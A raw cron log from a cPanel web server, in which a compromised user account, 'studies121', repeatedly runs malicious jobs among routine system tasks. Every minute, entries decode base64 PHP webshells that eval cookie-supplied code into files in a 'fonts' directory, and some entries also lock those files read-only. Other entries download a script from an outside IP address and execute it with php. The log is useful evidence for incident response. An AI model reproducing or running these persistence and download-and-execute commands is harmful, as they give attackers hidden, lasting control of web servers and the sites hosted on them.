Sep  8 17:42:01 ip-184-168-122-23 CROND[15982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:43:01 ip-184-168-122-23 CROND[16484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:43:01 ip-184-168-122-23 CROND[16486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:43:01 ip-184-168-122-23 CROND[16488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:43:01 ip-184-168-122-23 CROND[16487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:44:01 ip-184-168-122-23 CROND[16900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:44:01 ip-184-168-122-23 CROND[16901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:44:01 ip-184-168-122-23 CROND[16904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:44:01 ip-184-168-122-23 CROND[16905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:44:01 ip-184-168-122-23 CROND[16912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:45:01 ip-184-168-122-23 CROND[17329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:45:01 ip-184-168-122-23 CROND[17332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:45:01 ip-184-168-122-23 CROND[17335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:45:01 ip-184-168-122-23 CROND[17333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:45:01 ip-184-168-122-23 CROND[17336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:45:01 ip-184-168-122-23 CROND[17334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:46:01 ip-184-168-122-23 CROND[17727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:46:01 ip-184-168-122-23 CROND[17730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:46:01 ip-184-168-122-23 CROND[17734]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 17:46:01 ip-184-168-122-23 CROND[17732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:46:01 ip-184-168-122-23 CROND[17733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:46:01 ip-184-168-122-23 CROND[17731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:46:01 ip-184-168-122-23 CROND[17735]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 17:47:01 ip-184-168-122-23 CROND[18169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:47:01 ip-184-168-122-23 CROND[18172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:47:01 ip-184-168-122-23 CROND[18171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:47:01 ip-184-168-122-23 CROND[18170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:48:01 ip-184-168-122-23 CROND[18576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:48:01 ip-184-168-122-23 CROND[18577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:48:01 ip-184-168-122-23 CROND[18582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:48:01 ip-184-168-122-23 CROND[18584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:48:01 ip-184-168-122-23 CROND[18581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:49:01 ip-184-168-122-23 CROND[19031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:49:01 ip-184-168-122-23 CROND[19033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:49:01 ip-184-168-122-23 CROND[19032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:49:01 ip-184-168-122-23 CROND[19036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:50:01 ip-184-168-122-23 CROND[19409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 17:50:01 ip-184-168-122-23 CROND[19407]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 17:50:01 ip-184-168-122-23 CROND[19408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:50:01 ip-184-168-122-23 CROND[19413]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 17:50:01 ip-184-168-122-23 CROND[19416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:50:01 ip-184-168-122-23 CROND[19417]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 17:50:01 ip-184-168-122-23 CROND[19418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:50:01 ip-184-168-122-23 CROND[19422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:50:01 ip-184-168-122-23 CROND[19423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:51:01 ip-184-168-122-23 CROND[19820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:51:01 ip-184-168-122-23 CROND[19823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:51:01 ip-184-168-122-23 CROND[19824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:51:01 ip-184-168-122-23 CROND[19822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:52:01 ip-184-168-122-23 CROND[20355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 17:52:01 ip-184-168-122-23 CROND[20357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:52:01 ip-184-168-122-23 CROND[20358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:52:01 ip-184-168-122-23 CROND[20362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:52:01 ip-184-168-122-23 CROND[20359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:53:01 ip-184-168-122-23 CROND[20753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 17:53:01 ip-184-168-122-23 CROND[20755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:53:01 ip-184-168-122-23 CROND[20757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:53:01 ip-184-168-122-23 CROND[20756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:54:01 ip-184-168-122-23 CROND[21111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 17:54:01 ip-184-168-122-23 CROND[21113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 17:54:01 ip-184-168-122-23 CROND[21115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 17:54:01 ip-184-168-122-23 CROND[21114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
